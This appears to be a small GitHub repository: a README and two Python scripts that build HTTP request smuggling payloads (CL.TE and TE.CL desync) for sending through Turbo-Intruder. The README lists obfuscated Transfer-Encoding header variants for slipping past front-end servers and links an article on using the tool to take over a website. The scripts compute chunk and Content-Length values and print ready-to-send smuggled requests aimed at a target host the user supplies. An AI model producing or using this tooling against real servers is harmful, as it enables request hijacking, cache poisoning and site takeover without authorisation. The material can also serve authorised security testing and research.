├── README.md ├── TECL_DesyncCalculator.py └── CLTE_DesyncCalculator_.py /README.md: -------------------------------------------------------------------------------- 1 | # HTTP CL.TE & TE.CL Desync Calculator 2 | 3 | Perform CL.TE and TE.CL HTTP Request Smuggling attacks by crafting HTTP Request automatically. 4 | 5 | A simple python script which allows you to customise both Normal request and Smuggled request and calculates the Content-Length and TE.CL Chunk which is crucial part during the Smuggling Exploit Development. 6 | 7 | ## Installation 8 | 9 | ``` 10 | git clone https://github.com/kleiton0x00/HTTP-Smuggling-Calculator.git 11 | cd HTTP-Smuggling-Calculator 12 | chmod +x TECL_DesyncCalculator.py 13 | python3 TECL_DesyncCalculator.py 14 | ``` 15 | ## Usage 16 | 17 | Follow the instructions and you will build the special-crafted HTTP Request. Just a few things to keep in mind: 18 | - Host must be **without** http:// 19 | - For some extra TE Header obfuscation, you can use the alternative TE Headers: 20 | ``` 21 | Transfer-Encoding: xchunked 22 | 23 | Transfer-Encoding : chunked 24 | 25 | Transfer-Encoding: chunked\nTransfer-Encoding: x 26 | 27 | Transfer-Encoding:\tchunked 28 | 29 | Transfer-Encoding\t:\tchunked 30 | 31 | Transfer-Encoding: chunked 32 | 33 | X: X\nTransfer-Encoding: chunked 34 | 35 | Transfer-Encoding\n : chunked 36 | ``` 37 | 38 | - HTTP Method can be: POST, GET, OPTIONS, PUT, DELETE and so on... 39 | - The directory can be **/** or **/directory** or it can be an endpoint with parameter **/index.php?id=1** 40 | - HTTP Protocol can only be **HTTP/1.1** (HTTP/2 protocol is a whole another story) 41 | 42 | ## CL.TE usage 43 | - To add headers in the smuggled request (line 75): 44 | ```smuggle += "My Header: my value" + RN``` 45 | 46 | - To add body request in the smuggled request (line: 58): 47 | ```smuggle_body += "search=kleiton0x7e&id=1" + RN``` 48 | 49 | - To add headers in the normal request (line: 89): 50 | ```regular += "My header: my value" + RN``` 51 | 52 | ## TE.CL usage 53 | **Note:** If you want to add more headers, you can uncomment the following lines **41-44**. If you want to add your own headers, follow the rules below: 54 | - To add headers **Normal** request: 55 | ```smuggle += "My header: my value" + RN``` 56 | 57 | - To add headers in the **Smuggled** request: 58 | ```prefix += "My header: my value" + RN``` 59 | 60 | ## Articles 61 | 62 | Here is my article where I used this tool to exploit TE.CL vulnerability: https://kleiton0x00.github.io/posts/Exploiting-HTTP-Request-Smuggling-(TE.CL)-XSS-to-website-takeover/ 63 | 64 | ## Credits: 65 | A huge thanks goes to [@defparam](https://github.com/defparam/tiscripts) repository for making this possible and a huge thanks to the original author of HTTP Request smuggling for the Obfuscated TE Headers on [this article](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) 66 | -------------------------------------------------------------------------------- /TECL_DesyncCalculator.py: -------------------------------------------------------------------------------- 1 | RN = "\r\n" 2 | 3 | # -- Normal Request Parameters 4 | print("\n __________________________\n|Customising normal request|\n --------------------------\n") 5 | 6 | the_host = input("Enter the host (ex: target.com)\n~> ") 7 | smuggle_gadget = input("Enter TE header (ex: Transfer-Encoding: chunked)\n~> ") 8 | the_verb = input("Enter HTTP Method (ex: POST)\n~> ") 9 | the_ep = input("Enter the directory or endpoint (ex: /directory or /directory.php?id=1)\n~> ") 10 | the_protocol = input ("Enter HTTP Protocol (HTTP/1.1 or HTTP/2)\n~> ") 11 | 12 | TheHost = str(the_host) 13 | SmuggleGadget = str(smuggle_gadget) 14 | TheVerb = str(the_verb) 15 | TheEP = str(the_ep) 16 | TheProtocol = str(the_protocol) 17 | 18 | print("\n ____________________________\n|Customising Smuggled Request|\n ----------------------------\n") 19 | 20 | prefix_verb = input("Enter HTTP Method (ex: POST)\n~> ") 21 | prefix_ep = input("Enter the directory [default: /hopefully404]\n~> ") 22 | if prefix_ep == "": 23 | final_ep = "/hopefully404" 24 | else: 25 | final_ep = prefix_ep 26 | 27 | 28 | prefix_length = input("Enter Content-Length value (ex: 300)\n~> ") 29 | 30 | 31 | # -- Smuggled Request Parameters 32 | PrefixVerb = str(prefix_verb) 33 | PrefixEP = str(final_ep) 34 | PrefixProtocol = str(the_protocol) 35 | PrefixHost = str(the_host) 36 | PrefixLength = str(prefix_length) 37 | 38 | #uncomment the following lines if you want to add them in smuggled request 39 | prefix = ("%s %s %s" % (PrefixVerb, PrefixEP, PrefixProtocol)) + RN 40 | prefix += ("Host: %s" % (PrefixHost)) + RN 41 | #prefix += "Accept-Encoding: gzip, deflate" + RN 42 | #prefix += "Accept: */*" + RN 43 | #prefix += "Accept-Language: en" + RN 44 | #preffix += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 45 | prefix += "Content-Type: application/x-www-form-urlencoded" + RN 46 | prefix += ("Content-Length: %s" % (PrefixLength)) + RN 47 | prefix += RN 48 | prefix += "x=1" 49 | 50 | sz = hex(len(prefix))[2:] 51 | 52 | smuggle = ("%s %s %s" % (TheVerb, TheEP, TheProtocol)) + RN 53 | smuggle += SmuggleGadget + RN 54 | smuggle += ("Host: %s" % (TheHost)) + RN 55 | smuggle += ("Content-length: %s" % (str(2+len(sz)))) + RN 56 | smuggle += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 57 | smuggle += "Accept-Encoding: gzip, deflate" + RN 58 | smuggle += "Connection: keep-alive" + RN 59 | smuggle += "Content-Type: application/x-www-form-urlencoded" + RN 60 | smuggle += RN + ("%s"%(sz)) + RN 61 | smuggle += prefix + RN + "0" + RN + RN 62 | 63 | print("\n ____________________\n|The smuggled Payload|\n --------------------\nSend the following request in Turbo-Intruder:\n") 64 | print(smuggle) 65 | -------------------------------------------------------------------------------- /CLTE_DesyncCalculator_.py: -------------------------------------------------------------------------------- 1 | # --------------------------- # 2 | # ----ATTACK PARAMETERS!----- # 3 | # --------------------------- # 4 | 5 | # -- Smuggle Request Parameters 6 | SmuggleGadget = "Transfer-Encoding: chunked" 7 | TheVerb = "POST" 8 | TheEP = "/" 9 | TheProtocol = "HTTP/1.1" 10 | TheHost = ".com" 11 | # -- 12 | 13 | # -- Prefix Request Parameters 14 | PrefixVerb = "GET" 15 | PrefixEP = "/404" 16 | PrefixProtocol = "HTTP/1.1" 17 | PrefixHost = ".com" 18 | Chopped = True 19 | ChoppedHost = False 20 | # -- 21 | 22 | 23 | # ------------------------------------------------- # 24 | # If you make changes to the headers formats below 25 | # try not to break the parameterization. 26 | # ------------------------------------------------- # 27 | 28 | RN = "\r\n" 29 | 30 | # --------------------------- # 31 | # --CHOPPED PREFIX REQUEST!-- # 32 | # --------------------------- # 33 | prefix_chopped = ("%s %s HTTP/1.1" % (PrefixVerb, PrefixEP)) + RN 34 | if (ChoppedHost): prefix_chopped += ("Host: %s" % (PrefixHost)) + RN 35 | prefix_chopped += "X: X" # CHOP! 36 | # --------------------------- # 37 | 38 | # --------------------------- # 39 | # ----FULL PREFIX REQUEST!--- # 40 | # --------------------------- # 41 | prefix_full = ("%s %s %s" % (PrefixVerb, PrefixEP, PrefixProtocol)) + RN 42 | prefix_full += ("Host: %s" % (PrefixHost)) + RN 43 | prefix_full += "Connection: keep-alive" + RN 44 | prefix_full += "Accept-Encoding: gzip, deflate" + RN 45 | prefix_full += "Accept: */*" + RN 46 | prefix_full += "Accept-Language: en" + RN 47 | prefix_full += "Content-Type: application/x-www-form-urlencoded" + RN 48 | prefix_full += RN 49 | # --------------------------- # 50 | 51 | # --------------------------- # 52 | # ---CLTE SMUGGLE REQUEST!--- # 53 | # --------------------------- # 54 | 55 | # -- smuggle request body starts here -- 56 | smuggle_body = "3" + RN 57 | smuggle_body += "x=y" + RN 58 | #smuggle_body += "search=kleiton0x7e&id=1" + RN 59 | smuggle_body += "0" 60 | smuggle_body += RN 61 | smuggle_body += RN 62 | 63 | content_length = len(smuggle_body) 64 | 65 | # -- smuggle headers starts here -- 66 | 67 | smuggle = ("%s %s %s" % (TheVerb, TheEP, TheProtocol)) + RN 68 | smuggle += SmuggleGadget + RN # SMUGGLE GADGET! 69 | smuggle += ("Host: %s" % (TheHost)) + RN 70 | smuggle += "Content-Length: " + str(content_length) + RN 71 | smuggle += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 72 | smuggle += "Origin: https://www.google.com" + RN 73 | smuggle += "Accept-Encoding: gzip, deflate" + RN 74 | smuggle += "Content-Type: application/x-www-form-urlencoded" + RN 75 | #smuggle += "My Header: my value" + RN 76 | smuggle += RN 77 | #merge the headers with the body request 78 | smuggle += smuggle_body 79 | 80 | # --------------------------- # 81 | 82 | # --------------------------- # 83 | # -----REGULAR REQUEST!------ # 84 | # --------------------------- # 85 | regular = "GET / HTTP/1.1" + RN 86 | regular += ("Host: %s" % (TheHost)) + RN 87 | regular += "Origin: https://www.google.com" + RN 88 | regular += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 89 | #regular += "My header: my value" + RN 90 | regular += RN 91 | 92 | 93 | print(smuggle) 94 | print(regular) 95 | --------------------------------------------------------------------------------